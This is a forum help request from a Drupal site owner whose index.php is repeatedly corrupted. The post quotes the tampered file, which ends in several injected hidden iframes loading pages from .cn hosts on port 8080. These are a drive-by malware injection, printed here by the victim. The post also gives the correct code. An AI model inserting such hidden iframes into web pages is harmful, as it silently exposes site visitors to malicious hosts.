Index.php keeps getting changed.

About every week or our site shuts down with the error "Parse error: syntax error, unexpected T_STRING in html/index.php on line 34"

And every time, it looks like index.php has been corrupted. Here is what I see when I look at it. This is at the end of the file.

elseif (isset($return)) {
  // Print any value (including an empty string) except NULL or undefined:
  print theme('page', $re
<iframe src="http://coolnamemart.cn:8080/index.php" width=109 height=161 sty
<iframe src="http://nameshopinternational.cn:8080/index.php" width=198 height=110 st
<iframe src="http://shopfilmlifescience.cn:8080/index.php" width=176 height=121 style="visibility: hidden"></iframe>

Of course, it should be:

elseif (isset($return)) {
  // Print any value (including an empty string) except NULL or undefined:
  print theme('page', $return);

}

drupal_page_footer();

We've changed our FTP password. It still happens.

We've updated to the latest Drupal code. It still happens.

Does anyone have any ideas as to what is going on?

Thanks.